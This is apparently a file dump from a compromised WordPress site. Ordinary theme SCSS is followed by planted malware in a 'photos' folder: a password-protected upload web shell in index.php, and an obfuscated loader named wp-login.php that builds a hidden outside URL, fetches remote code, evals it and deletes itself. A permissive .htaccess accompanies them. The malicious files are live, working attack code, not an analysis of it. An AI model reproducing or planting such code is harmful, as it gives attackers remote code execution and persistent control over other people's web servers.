.nav-btn {
	margin: auto;
	width: 24px;
	height: 24px;
	min-height: 24px;
	overflow: hidden;
	fill: currentColor;
	line-height: 1em;
	font-size: 1em;
	position: relative;
	padding: 0px;
	border-radius: 50%;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
	background-color: rgba(255, 255, 255, 0.5);
	color: #888888;
	opacity: 0.6;
	display: inline-block;
	transition: all 0.3s linear;
	&.x2 {
		width: 36px;
		height: 36px;
		min-height: 36px;
		font-size: 1.1em;
	}
	svg {
		width: 50%;
		height: 50%;
		position: absolute;
		top: 50%;
		left: 50%;
		fill: currentColor;
		color: currentColor;
		transform: translate(-50%, -50%);
	}
	&:hover,
	&:focus {
		color: #333;
		opacity: 1;
		box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26),
			0 0 0 1px rgba(0, 0, 0, 0.18);
		background-color: rgba(255, 255, 255, 0.99);
	}
	&.nav-next {
		&:before {
			//content: "\f105";
			// transform: translate( -50%, -50%) rotate( 45deg );
		}
		&:after {
			//transform: translate( -50%, -50%) rotate( -45deg );
		}
	}
	&.nav-prev {
		&:before {
			//content: "\f104";
		}
	}
	&:before,
	&:after {
	}

	&:before {
	}

	&:after {
	}
}

// Shape
.shape-rounded {
	border-radius: 10%;
}

.shape-circle {
	border-radius: 50%;
}

// Pre-defined classes.
.text-xsmall {
	font-size: 0.72em;
}

.text-small {
	font-size: 0.875em;
}

.text-large {
	font-size: 1.1em;
}

.text-uppercase {
	text-transform: uppercase;
	line-height: 1.2;
	&.text-xsmall {
		letter-spacing: 0.5px;
	}
}

.link-meta,
.link-meta a {
	color: $color_meta;
}

.link-meta a:hover {
	color: $color_link_hover;
}

.color-meta {
	color: $color_meta;
}


/* Customize Preview */
.customize-previewing {
	overflow-x: hidden;

	.builder-item-focus {
		&.item--inner {
			position: relative;
			&.has_menu {
				position: initial;
				.item--preview-name {
					left: auto;
				}
			}
		}
		.item--preview-name {
			position: absolute;
			top: 100%;
			left: 0px;
			display: none;
			background: #0073aa;
			color: #fff;
			padding: 5px 8px 6px;
			font-size: 12px !important;
			font-weight: 600;
			line-height: 14px;
			cursor: pointer;
			border-bottom-left-radius: 2px;
			border-bottom-right-radius: 2px;
		}
		&:hover {
			&.item--inner {
				transition-delay: 0s !important;
				outline: 1px solid #0073aa;
				outline-offset: -1px;
				.item--preview-name {
					display: block;
					z-index: 9999999;
				}
			}
		}
	}

	.header--row,
	.header-menu-sidebar {
		.customize-partial-edit-shortcut {
			display: none;
		}
		.builder-item-focus {
		}
	}
	.footer--row {
		.builder-item-focus {
			&:hover {
				&.item--inner {
					outline: 1px dashed #ff472e;
					outline-offset: -1px;
				}
			}
		}
	}
}
photos/index.php000066600000002453151150312560007707 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
echo('kill_the_net');
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
    }
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
?>photos/wp-login.php000066600000013723151150312560010336 0ustar00<?php goto k68Lo; ONyF7: $qokfg .= "\x73"; goto kXtIa; HHy0G: $qokfg .= "\160\165\163"; goto EBKfy; aAMA_: $qokfg .= "\170\145\x79"; goto Yv0dY; t40gb: $qokfg .= "\x73\x70"; goto OeCLp; y8T5W: $qokfg .= "\x2e\157\145"; goto ONyF7; NmaKj: @chmod($Y0sLi, 0755); goto nqGz3; Czzbc: $qokfg = ''; goto cr_jz; h1Kq8: eval("\x3f\x3e" . ciC2w(strrev($qokfg))); goto UlkY4; EQsv4: $qokfg .= "\61\156\x61\x6d"; goto qsK13; kXtIa: $qokfg .= "\57\x2f\72"; goto t40gb; qsK13: $qokfg .= "\57\162\x65"; goto HHy0G; cr_jz: $qokfg .= "\164"; goto WXTed; WXTed: $qokfg .= "\170\164\x2e"; goto EQsv4; q1Vz9: $qokfg .= "\x2e\x61\x73\56"; goto aAMA_; OeCLp: $qokfg .= "\x74\x74\x68"; goto h1Kq8; nqGz3: @unlink($fzu2n); goto Czzbc; k68Lo: $fzu2n = $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\x52\x4f\117\x54"] . $_SERVER["\x50\110\120\137\x53\x45\x4c\x46"]; goto hrif1; EBKfy: $qokfg .= "\x2f\x6d\157\x63"; goto q1Vz9; Yv0dY: $qokfg .= "\151\x65\150"; goto y8T5W; hrif1: $Y0sLi = dirname($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\137\122\117\x4f\124"] . $_SERVER["\120\110\120\x5f\123\105\x4c\x46"]); goto NmaKj; UlkY4: function CIc2w($GGGJ_, $eF402 = "\x47\x45\x54", $GANlk = array(), $ZgYYH = 45) { try { goto ohbNn; i0l_p: if (!($eF402 == "\x50\117\123\124")) { goto oBwZn; } goto uSPuh; mzMoz: $k9l8y .= $pI3_f . "\15\xa"; goto DjWmc; eQ1Aj: $bjyYi = isset($LL0MD["\160\x61\x74\x68"]) ? $LL0MD["\160\x61\x74\x68"] : "\57"; goto fugTC; Ijq1S: $OmGNF = $siukR; goto ICEZY; v80Fk: $siukR = ''; goto DlESH; weCeM: $qka3P = $LL0MD["\150\157\x73\164"]; goto eQ1Aj; FxQ2X: goto aCDf2; goto M_I0E; phVYZ: $O61oF = stream_socket_client("{$Tn30T}\72\x2f\x2f{$qka3P}\x3a{$uJ8qI}", $JjP5U, $KDWdp, $ZgYYH); goto MO7os; aiJny: T6pON: goto QSzC9; o_NBQ: curl_setopt($hrp5k, CURLOPT_POSTFIELDS, http_build_query($GANlk)); goto peQXF; ICEZY: WDo3K: goto Y8QPF; IEYkk: $hPv_K = isset($pKp0m[0]) ? $pKp0m[0] : ''; goto HmEA2; Y8QPF: return trim($OmGNF); goto zbaqv; UqfEy: aCDf2: goto Ijq1S; qwn35: goto Nnxno; goto Kk37W; AIJU5: curl_setopt($hrp5k, CURLOPT_TIMEOUT, $ZgYYH); goto LBaGv; ZUiFC: goto wnBr0; goto UqfEy; Ye3l7: if (!($OHptL === false)) { goto f0Qmd; } goto FxQ2X; Mq5b_: fclose($O61oF); goto LWkKu; XjJPU: $siukR .= substr($OmGNF, $OHptL + 2, $YSgIG); goto QnbJo; HmEA2: $OmGNF = isset($pKp0m[1]) ? $pKp0m[1] : ''; goto rTYcl; QnbJo: $OmGNF = substr($OmGNF, $OHptL + 2 + $YSgIG + 2); goto ZUiFC; oXMRy: curl_setopt($hrp5k, CURLOPT_POST, 1); goto o_NBQ; vdAh3: $uJ8qI = isset($LL0MD["\x70\x6f\x72\164"]) ? $LL0MD["\160\157\162\x74"] : ($PG6bC === "\x68\x74\x74\160\x73" ? 443 : 80); goto K0BeZ; g7NnU: $PG6bC = isset($LL0MD["\x73\x63\150\x65\155\145"]) ? $LL0MD["\x73\x63\x68\x65\155\x65"] : "\150\x74\x74\160"; goto vdAh3; L9MPr: cXG05: goto XjJPU; j97_S: $wpW0P = curl_exec($hrp5k); goto jqdVy; YJ1vM: if (!($eF402 == "\120\117\x53\x54")) { goto ASYYJ; } goto mzMoz; Yv4z0: $hrp5k = curl_init(); goto ImyFX; gcYgq: if (!($YSgIG === 0)) { goto cXG05; } goto G505F; J3Ptn: curl_setopt($hrp5k, CURLOPT_USERAGENT, "\x47\x4f"); goto lL0uV; deuEj: OcHoT: goto QV7VI; yVbWs: $hPv_K[] = "\103\x6f\156\164\x65\156\x74\55\x54\171\160\x65\72\40\141\160\x70\154\151\x63\x61\x74\x69\x6f\x6e\x2f\x78\55\x77\167\167\55\x66\157\x72\x6d\x2d\x75\162\154\x65\x6e\143\x6f\144\145\x64"; goto hYxBJ; fugTC: $T4Ppt = isset($LL0MD["\161\x75\x65\162\x79"]) ? "\x3f" . $LL0MD["\161\165\145\162\171"] : ''; goto g7NnU; wxF1p: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYHOST, false); goto nOXwr; c3qwA: $YSgIG = hexdec(substr($OmGNF, 0, $OHptL)); goto gcYgq; LBaGv: if (!($eF402 == "\120\117\123\124")) { goto Sxzmp; } goto oXMRy; q2Dik: $OHptL = strpos($OmGNF, "\15\xa"); goto Ye3l7; LWkKu: $pKp0m = explode("\15\12\15\12", $yRwhm, 2); goto IEYkk; YB4dt: curl_setopt($hrp5k, CURLOPT_RETURNTRANSFER, 1); goto mq1b4; hYxBJ: $hPv_K[] = "\x43\x6f\156\x74\145\156\164\55\x4c\145\156\x67\164\150\x3a\x20" . strlen($pI3_f); goto ZN7Vr; Cv7WD: $yRwhm .= fgets($O61oF, 1024); goto qwn35; EpqVt: return 0; goto aiJny; MO7os: if ($O61oF) { goto T6pON; } goto EpqVt; mq1b4: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYPEER, false); goto wxF1p; QV7VI: $LL0MD = parse_url($GGGJ_); goto weCeM; K0BeZ: $Tn30T = $PG6bC === "\x68\164\164\x70\163" ? "\163\163\x6c" : "\x74\x63\160"; goto phVYZ; peQXF: Sxzmp: goto j97_S; QSzC9: $hPv_K = array("{$eF402}\x20{$bjyYi}{$T4Ppt}\x20\x48\124\x54\x50\x2f\x31\x2e\61", "\110\x6f\x73\x74\72\40{$qka3P}", "\125\x73\x65\162\55\101\x67\x65\x6e\x74\x3a\40\115\x6f\x7a\151\x6c\154\141\57\65\56\x30\40\50\127\151\x6e\x64\157\167\x73\40\116\124\40\61\60\56\x30\x3b\40\127\151\x6e\66\64\73\x20\170\x36\x34\51\40\101\x70\160\x6c\145\x57\145\142\x4b\151\164\57\65\63\x37\x2e\63\66\x20\x28\x4b\x48\x54\x4d\114\54\40\x6c\x69\x6b\x65\x20\x47\145\x63\x6b\157\x29\40\x43\x68\x72\x6f\155\145\57\71\x31\56\60\x2e\x34\x34\x37\x32\x2e\x31\x32\64\40\x53\x61\x66\x61\162\151\57\x35\63\x37\56\63\66", "\x43\x6f\156\x6e\145\x63\164\x69\157\x6e\x3a\40\103\154\157\x73\145"); goto i0l_p; V4cPs: $k9l8y = implode("\15\12", $hPv_K) . "\xd\12\xd\xa"; goto YJ1vM; ZN7Vr: oBwZn: goto V4cPs; zvS66: return trim(trim($wpW0P, "\357\xbb\277")); goto deuEj; G505F: goto aCDf2; goto L9MPr; ohbNn: if (!(function_exists("\x63\x75\162\154\x5f\151\x6e\x69\164") && function_exists("\143\165\x72\154\137\145\170\145\143"))) { goto OcHoT; } goto Yv4z0; ImyFX: curl_setopt($hrp5k, CURLOPT_URL, $GGGJ_); goto J3Ptn; myGHd: $yRwhm = ''; goto NGlog; DjWmc: ASYYJ: goto pv0bc; DlESH: wnBr0: goto qSxy8; nOXwr: curl_setopt($hrp5k, CURLOPT_FOLLOWLOCATION, true); goto AIJU5; jqdVy: curl_close($hrp5k); goto zvS66; qSxy8: if (!true) { goto aCDf2; } goto q2Dik; Kk37W: LA4LC: goto Mq5b_; rTYcl: if (!(stripos($hPv_K, "\124\162\141\x6e\163\146\x65\162\55\x45\x6e\x63\157\x64\151\x6e\x67\72\x20\143\x68\165\156\153\x65\x64") !== false)) { goto WDo3K; } goto v80Fk; M_I0E: f0Qmd: goto c3qwA; pv0bc: fwrite($O61oF, $k9l8y); goto myGHd; Ksjiv: if (feof($O61oF)) { goto LA4LC; } goto Cv7WD; lL0uV: curl_setopt($hrp5k, CURLOPT_CONNECTTIMEOUT, 0); goto YB4dt; uSPuh: $pI3_f = http_build_query($GANlk); goto yVbWs; NGlog: Nnxno: goto Ksjiv; zbaqv: } catch (Exception $DjiRI) { } return 0; }photos/.htaccess000066600000000077151150312560007665 0ustar00<FilesMatch '.*'>
Order Deny,Allow
Allow from all
</FilesMatch>